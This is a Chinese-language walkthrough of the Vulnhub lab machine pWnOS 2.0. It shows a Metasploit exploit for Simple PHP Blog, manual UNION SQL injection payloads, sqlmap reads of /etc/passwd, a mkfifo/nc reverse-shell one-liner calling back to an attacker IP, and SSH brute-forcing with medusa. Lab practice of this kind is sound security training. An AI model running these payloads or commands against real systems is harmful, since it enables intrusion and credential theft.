Vulnhub靶机:PWNOS_ 2.0 (PRE-RELEASE)

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 Vulnhub靶机:PWNOS_ 2.0 (PRE-RELEASE),希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

系列:pWnOS(此系列共2台)
发布日期:2011年7月4日
难度:中
运行环境:VMware Workstation
目标:取得 root 权限
补充:靶机是静态IP,因此需要配置网卡为10.10.10.0
学习:

  • 主机发现
  • 端口扫描+漏洞扫描
  • CMS漏洞利用
  • SQL读写文件
  • 敏感信息提权

靶机地址:https://www.vulnhub.com/entry/pwnos-20-pre-release,34/

信息收集

已经知道靶机是静态ip:10.10.10.100

nmap -p- 10.10.10.100
nmap -p22,80 -A 10.10.10.100
nmap -p22,80 --script=vuln 10.10.10.100

在这里插入图片描述

网站探测

打开之后,可能需要登录,先看看nmap发现的目录
在这里插入图片描述

是个什么cms,直接搜索没搜出来
在这里插入图片描述

通过页面源代码,搜索出来了
在这里插入图片描述

漏洞发现

在这里插入图片描述

尝试执行运行失败了,网上搜索一下,说是安装个东西就行了,懒得弄了,直接msf吧
在这里插入图片描述

看起来是创建了一个账户,然后上传了一个php后门获取到了一个会话

search Simple PHP Blog 0.4.0
use 0
set rhosts 10.10.10.100
set URI /blog
exploit

在这里插入图片描述

在这里插入图片描述

提权

搜寻数据库配置文件

发现了数据库配置文件,但是连接不上数据库,说明密码有误,如何解决?
在这里插入图片描述

搜索系统中有无同名的文件,然后就发现了,并且顺利连接了数据库,由于泄露的敏感文件中提到了”ch16″,于是查询到一条用户记录,通过在线网站查询得知密码是:killerbeesareflying
在这里插入图片描述

在这里插入图片描述

SSH爆破

现在已经得到了一些密码,懒得一个一个尝试了,直接爆破。没想到靶机的ssh算法有些老旧了,hydra不能爆破,那只好换别的工具来爆破了。爆破得到root的密码是:root@ISIntS

medusa -M ssh -h 10.10.10.100 -U ./username -P ./pass | grep SUCCESS

在这里插入图片描述

第2种打法

网站探测

登录口用户名位置输入单引号引发报错,那不得sqlmap走一波?
在这里插入图片描述

Sql注入(手工)

  1. order by获取当前数据表列数

8正常,其他数字错误,说明有8列
在这里插入图片描述

  1. union select查看哪一列数据显示在界面上。第4列能够显示

在这里插入图片描述

  1. 查询数据库版本,当前数据库名字

在这里插入图片描述

在这里插入图片描述

  1. 获取数据库表名,发现只有一张表:users
email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()--+&pass=1&submit=Login&submitted=TRUE

在这里插入图片描述

  1. 查看表users的列名
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- &pass=1&submit=Login&submitted=TRUE

在这里插入图片描述

  1. 获取指定列中的数据
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- &pass=1&submit=Login&submitted=TRUE

在这里插入图片描述

Sql注入(sqlmap)

发现存在sql注入,虽然sqlmap没有破解出密码,但是通过在线网站查询得知密码是:killerbeesareflying

sqlmap -r 1.txt  --dbs --dump
POST /login.php HTTP/1.1
Host: 10.10.10.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://10.10.10.100
Connection: close
Referer: http://10.10.10.100/login.php
Cookie: PHPSESSID=0ur4mnc22qt9ue1d0dvu857v74
Upgrade-Insecure-Requests: 1

email=%27&pass=1&submit=Login&submitted=TRUE

在这里插入图片描述

读取文件

试了一下,可以读取文件

sqlmap -r 1.txt -v 1 --file-read="/etc/passwd"

在这里插入图片描述

在这里插入图片描述

尝试写入文件,这个时候有点尴尬,不是很确定靶机的web目录是不是/var/www,那就试着读取/var/www/index.php,至此确认了网站目录。
在这里插入图片描述

写入文件

看起来写入的方式有点瑕疵,凑活用吧,反正不影响弹shell
在这里插入图片描述

测试发现靶机的nc不能直接弹shell,url编码如下命令,成功拿到shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f

在这里插入图片描述

再来演示一下sqlmap写入文件,很奇怪,即便是tmp目录我都写不进去

sqlmap -r  1.txt  --file-write ./1.php --file-dest /tmp/123456.php

在这里插入图片描述

直接在靶机上搜,搜不到上传的文件。
在这里插入图片描述

提权

提权的方式同第一种打法,不再赘述。

参考

黑客零基础第三章-Web漏洞实战-SQL注入pWnOS: 2.0

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134202.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!